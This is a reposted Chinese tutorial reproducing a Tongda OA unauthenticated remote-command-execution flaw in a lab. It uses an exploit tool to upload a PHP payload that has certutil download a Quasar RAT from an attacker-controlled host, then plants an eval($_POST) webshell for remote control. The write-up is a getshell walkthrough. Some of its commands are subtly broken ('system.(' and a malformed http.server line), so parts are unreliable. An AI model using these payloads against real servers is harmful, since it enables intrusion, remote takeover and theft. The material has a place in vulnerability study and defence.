通达OA,远程命令执行漏洞的 利用复现(Exp-tools,getshell)

news/2024/9/20 23:43:05/文章来源:https://www.cnblogs.com/nebulapioneer/p/18297367

一、漏洞描述

通达OA是由北京通达信科科技有限公司开发的一款办公系统,前一段时间通达官方在其官网发布了安全提醒与更新程序,并披露有用户遭到攻击。攻击者可在未授权的情况下可上传图片木马文件,之后通过精心构造的请求进行文件包含,实现远程命令执行,且攻击者无须登陆认证即可完成攻击。

二、环境搭建

1、靶机通达OA下载,一键安装

下载地址:http://www.tongda2000.com/download/down.php?VERSION=2019&code=86d3V9EzrapwAKhPkxfbNZDsfB48gbFvbS0QYsUr%2FnNWNP2e5Fn%2F&F=baidu_natural&K=
访问该网站:
image

2、扫描漏洞

2.1 安全测试工具下载,这里使用的是Exp-tools工具

Exp-Tools是一个使用ExpDemo-JavaFX项目开发的安全测试工具,可以复现和分析多种OA系列的文件上传、命令执行、反序列化等漏洞。目前已实现了用友、泛微、通达、致远、帆软、万户、蓝凌、红帆、金和、华天动力等10个OA的漏洞,支持前台和后台。

Exp-tools下载地址:
https://github.com/cseroad/Exp-Tools
下载完成后需将此文件复制到jdk8的bin目录下,
image

该工具需使用JDK8启动
打开终端,cd 到jdk8的bin目录下
image

JDK8下载地址
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

2.2 填入网址,扫描漏洞

打开该软件,填入地址,验证查看扫描的信息,发现里面存在OA漏洞。
攻击者可以通过漏洞植入代码

image

三、创建木马

3.1 产看漏洞信息

image

我们选择上传一个RAT木马,

远程访问特洛伊木马(RAT,Remote Access Trojan)是一种恶意程序,能够让黑客监视和控制您的计算机、网络设备甚至整个网络。
与绝大多数恶意软件相同,RAT 通常会伪装成合法文件。黑客会将 RAT 附加到 E-mail 或大型软件包(如游戏)当中,广告和恶意网页中也可能会包含 RAT。与某些恶意软件和病毒不同,用户在下载到 RAT 时会很难分辨,它也不会主动拖慢计算机或其它网络设备的负载。所以在某些情况下,一些用户即便被 RAT 感染多年也没能发现。
如果要想避免 RAT,请不要从不信任的来源下载文件;不要打开陌生人的电子邮件附件;不要从非可靠来源下载游戏或软件,更不建议使用盗版;保持安全补丁更新也可以使您的浏览器和操作系统保持最新状态。

3.2 下载Quasar工具

下载地址:https://github.com/quasar/Quasar/releases

Quasar是一个强大且多功能的Vue.js框架,为开发者提供了构建跨平台应用程序的便利性和灵活性。其丰富的组件库、一体化的工具和跨平台支持使得开发者能够更轻松地构建现代化的Web、移动和桌面应用程序。
同时Quasar是一种公开可用的开源远程访问木马(RAT),主要针对Windows操作系统,它通过恶意附件在网络钓鱼电子邮件中分发,改项目最初是由GitHub用户MaxXor开发,用于合法用途,然而该工具此后被黑客用于各种网络间谍活动。
详细介绍:https://blog.csdn.net/qq_29901385/article/details/134596249

3.3 使用Quasar进行木马植入

创建木马流程:

3.3.1
image
3.3.2
image

3.3.3
image
3.3.4
image

3.3.5
image

这样我们就生成了远程访问木马,接下来将木马植入OA系统中
image

四、 上传RAT木马

4.1 首先将本地可执行程序,搭建为一个http服务器,端口为8000。

打开cmd,cd切换到可执行文件的目录,填入以下命令。
C:\Users\123456\Desktop>client.exe -python -m http.server 8000

4.2 在Exp-tools中写入改代码,上传成功。

image

<?php
system.("certutil.exe -urlcache -split -f http://192.168.2.11:8000/client.exe"); 
?>

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。
CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。
详细介绍请查看:https://www.cnblogs.com/nebulapioneer/p/18299419

4.3 打开quasar,开始监听端口

image

4.4 网页访问该地址时,木马程序运行

image

4.5 查看quasar,成功获取该主机

倘若不出现,多运行几遍以上cmd中命令

image

五、上传一句话木马,利用蚁剑连接

5.1 利用Exp-tools上传木马

<?php
@eval ($_POST['pass']);
?>

image

5.2 打开蚁剑,连接主机

image

成功得到主机信息!

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/742796.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【考研数学】大部分真题解析只说了这道考研数学真题为什么选B,却不说其他选项为什么不对

今天要给大家分享的笔记是:《2022考研数二第03题解析》—— 市面上不少真题解析都只说了这道题目为什么选 B,但是,这些真题是用来练习的,我们不能只知道什么对,还要知道什么不对,这样才能对考研真题有更加深入的理解,才更有可能在考场上做题时游刃有余。 所以,跟「荒原…

通达OA远程命令执行漏洞利用复现(Exp-tools,getshell)

一、漏洞描述 通达OA是由北京通达信科科技有限公司开发的一款办公系统,前一段时间通达官方在其官网发布了安全提醒与更新程序,并披露有用户遭到攻击。攻击者可在未授权的情况下可上传图片木马文件,之后通过精心构造的请求进行文件包含,实现远程命令执行,且攻击者无须登陆认…

使用spring-webmvc6实现文件上传

使用SpringMVC6版本,不需要添加以下依赖:<dependency><groupId>commons-fileupload</groupId><artifactId>commons-fileupload</artifactId><version>1.5</version> </dependency>新建maven模块springmvc-009,pom.xml<?…

基于ACO蚁群优化算法的WSN网络路由优化matlab仿真

1.程序功能描述基于ACO蚁群优化算法的WSN网络路由优化,通过蚁群优化迭代,在WSN中搜索一个最短的路由路径。在仿真过程中,实时显示每一次迭代过程中找到的路径,最后输出ACO的优化迭代过程,网络路由路径的搜索结果。2.测试软件版本以及运行结果展示 MATLAB2022a版本运行 3.…

南外c++集训枚举题:关灯

根据标题可知 这道题一定是一道枚举题 这道题考虑使用dfs,处理特殊处理第一层,每次加答案时选最优值。 给出代码:点击查看代码 #include<bits/stdc++.h> using namespace std; int n,m; char mat[20][110]; int dfs(int cnt,int pos,int tmp)//cnt:楼层pos:哪里的楼梯…

WCP知识管理系统-免费版(v5.1.9)

5.1.9版本(最新)下载地址 登录官网查看功能描述 CP知识分享平台V5.1.9版本的更新日志,包含了bug修复、性能优化和新功能的介绍。以下是具体细节: 1. **Bug修复**: - 在纯图片模式下,点击图片后现在会展示原图而非缩略图。 - 帮助主题下的首页缩放后,不再显示下方的大块黑…

Mysql之日常运维命令总结

1、连接MySQL数据库 mysql -uroot -ppassword mysql -uroot -ppassword -h 127.0.0.1 -P 3306 mysql -uroot -ppassword -S /path/to/mysql.sock2、查看当前数据库中的会话状态 show processlist;3、查看当前数据库中的活动会话(排除掉空闲Sleep状态的会话) select * from in…

基于PSO粒子群优化的CNN-GRU的时间序列回归预测matlab仿真

1.算法运行效果图预览 (完整程序运行后无水印)2.算法运行软件版本 matlab2022a3.部分核心程序for i=1:Iterifor j=1:Npeoprng(i+j)if func_obj(x1(j,:))<pbest1(j)p1(j,:) = x1(j,:);%变量pbest1(j) = func_obj(x1(j,:));endif pbest1(j)<gbest1g1 = p1(j,:);%变量…

瓦片地图

1. 预备知识 1.1 参考椭球 地球表面是一个凸凹不平的表面,而对于地球测量而言,地表是一个无法用数学公式表达的曲面,这样的曲面不能作为测量和制图的基准面。假想一个扁率极小的椭圆,绕地球体短轴旋转所形成的规则椭球体称之为地球椭球体。 地球椭球体与地球形体非常接近,…